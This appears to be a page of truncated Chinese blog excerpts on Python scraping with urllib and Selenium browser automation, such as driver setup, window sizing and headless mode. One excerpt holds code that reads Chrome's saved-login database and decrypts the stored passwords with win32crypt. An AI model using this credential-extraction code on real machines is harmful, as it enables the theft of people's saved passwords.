一、下载一只猫import urllib.requestresponse = urllib.request.urlopen("http://cdn.duitang.com/uploads/item/201111/24/20111124222137_wHYwc.jpg") cat_img = response.read()with open(‘cat_0.jpeg‘, ‘wb‘) as f:f.write(cat_img) urlopen()中的url可以是string，也可以是request object，因此可以是：import urllib.requestreq = urllib.request.Request("http://cdn.duitang.com/uploads/item/201111/24/2011112422213...
1.浏览器大小的控制Set_window_size()是控制浏览器大小Maximize_window()浏览器全屏显示from selenium import webdriver #导入selenium的webdriver包from time import sleep driver = webdriver.Firefox() driver.get("https://www.baidu.com") sleep(10) #等待10秒钟 driver.set_window_size(500,500) sleep(10) driver.maximize_window()2.浏览...
前几天有位微信读者问我一个爬虫的问题，就是在爬去百度贴吧首页的热门动态下面的图片的时候，爬取的图片总是爬取不完整，比首页看到的少。原因他也大概分析了下，就是后面的图片是动态加载的。他的问题就是这部分动态加载的图片该怎么爬取到。分析他的代码比较简单，主要有以下的步骤：使用BeautifulSoup库，打开百度贴吧的首页地址，再解析得到id为new_list标签底下的img标签，最后将img标签的图片保存下来。headers = {‘User-A...
from selenium import webdrivermobileEmulation = {‘deviceName‘ :‘Galaxy S5‘}option = webdriver.ChromeOptions()option.add_experimental_option(‘mobileEmulation‘,mobileEmulation)charome = webdriver.Chrome(options=option）网上找到的都是这种方式，但这种方法有些弊端，这个没有真正进入toggle device toolbar模式，导致后续有些操作无法实现。目前还没找到方法去：模拟打开开发者模式，再点击oggle device tool...
浏览器的操作1）浏览器最大化代码示例：#coding=utf-8from selenium import webdriverdriver = webdriver.Firefox()driver.get("http://www.baidu.com")print "浏览器最大化"driver.maximize_window() #将浏览器最大化显示driver.quit() 2）设置浏览器的宽、高代码示例：#coding=utf-8from selenium import webdriver driver = webdriver.Firefox()driver.get("http://m.mail.10086.cn")#参数数字为像素点print "设置浏览器宽480、...
一、安装selenium 前提是已安装Python，python安装 自行百度，这里不概述 安装好python后，cmd打开终端窗口--》pip命令安装 ：pip install selenium 二、安装chromedriver 首先，查看自己的chrome版本 Chrome与Chromedriver版本对应关系，可查看https://www.cnblogs.com/mini-monkey/p/12088721.html 下载Chromedriver的地址链接为：http://chromedriver.storage.googleapis.com/index.html ...
python自带的urllib,urllib2可以极方便做http操作，在我们按照http方式提交消息请求后，有可能会看见返回这个错误“403 forbidden",这是请求的网站做了阻止，于是我们需要把自己伪装成模拟器。对此，可以加上headers={‘User-Agent‘:user-agent,‘cookie‘:cookie}，注意操作的网站 需要登录账号的话，就需要加上cookie，这两个值可以通过chrome的”开发者工具“查看:把他们加上去，然后在请求值那里再加上：req = urllib2.Reques...
python平台：win7 python 版本：3.6.3备注：Python的安装这里就不介绍了，网上有很多相关内容。第一步：下载并安装selenium模块?这里建议用python的自带的pip去下载。python3.6就自带了这个pip工具，可能之前版本要手动安装一下。打开dos窗口? 输入一下命令，会自动获取：等待完成 显示"successfully installed...."表示安装完成，如下图：第二步：安装谷歌浏览器驱动谷歌各版本驱动下载地址：http://chromedriver.storage.googlea...
运行脚本时间比较长时可以不打开浏览器测试，这样在测试运行时，电脑还是可以用作其他操作的。只需要在运行脚本上加上下面代码的678行即可 1# coding = utf-8 2 3from selenium import webdriver4import time5 6 option = webdriver.FirefoxOptions()7option.set_headless()8 br = webdriver.Firefox(firefox_options=option)910# br = webdriver.Firefox()1112 br.get("https://mail.qq.com") 原文：https://www.cnblogs.com/sue...
WebDriver 支持 Firefox (FirefoxDriver)、IE (InternetExplorerDriver)、Opera (OperaDriver) 和 Chrome (ChromeDriver) 。下载ChromeDriver.exe、IEDriverServer.exe放到D:\python27 执行：# coding = utf-8from selenium import webdriverbrowser = webdriver.Chrome()browser.get("http://www.baidu.com")browser.find_element_by_id("kw").send_keys("selenium")browser.find_element_by_id("su").click()browser.quit() 一...
曾经，用惯了python print命令的人，惊叹于python语法的精简；后来，用过了tornado、django等web开发框架，不得不佩服当初开发这些框架的人们。于是，我们开始使用它们的框架==》一个被重复了无数次的配置。那么问题来了，如果我很多次的完成某个领域的类似问题，我需要每次都去重复的配置吗？偶然间，我在想，能否在它们的框架上继续精简，以在某种用途上实现更加高效的开发。web框架的使用，包含server端和browser端。本次改装采...
最近开始学习selenium，按照书上编写一个自动化脚本： from selenium import webdriverbrowser = webdriver.Firefox browser.get("http://www.baidu.com")browser.find_element_by_id("kw").send_keys("selenium")browser.find_element_by_id("su").click() browser.quit() 执行后提示“浏览器在建立连接前已关闭”，通过度娘看到很多解决办法，最终验证发现是Firefox版本太高，将Firefox版本降低后问题解决！原文：http://www.cnb...
#coding:utf-8import os import sys import sqlite3 import win32cryptdirectory_path = r‘Google\Chrome\User Data\Default\Login Data‘ file_path=os.path.join(os.environ[‘LOCALAPPDATA‘],directory_path) conn=sqlite3.connect(file_path) cursor = conn.cursor() cursor.execute(‘select username_value, password_value, signon_realm from logins‘) for data in cursor.fetchall():passwd = win32crypt.CryptUnprote...
前言Selenium 是一个用于Web网页UI自动化测试的开源框架，可以驱动浏览器模拟用户操作。可以模拟控制浏览操作，常见浏览器操作：打开页面、关闭页面、刷新、前进、后退、最大化。。。1，打开&关闭页面selenium支持模拟在浏览器上打开/关闭页面。还有一个类似关闭的操作-关闭浏览器进程。每次执行selenium测试用例时都会开启一个浏览器进程，故测试用例结束时需要关闭浏览器进程。driver.get("url") # 打开页面 driver.close() # ...
前面文章介绍了，如何调用webdriver接口方法来打开和关闭Firefox浏览器，本文介绍如何打开IE和Chrome浏览器。web项目，需要做兼容性测试，最重要的是浏览器兼容性测试。如果只考虑windows平台，相信应该很多公司必须要测试IE、Firefox、Chrome这三大浏览器。所以webui 自动化测试，也需要在这三大浏览器上面运行和测试脚本。从前面文章，我们知道，要调用Firefox浏览器，我们需要下载geckodriver.exe这个文件，放到Python的安装路径...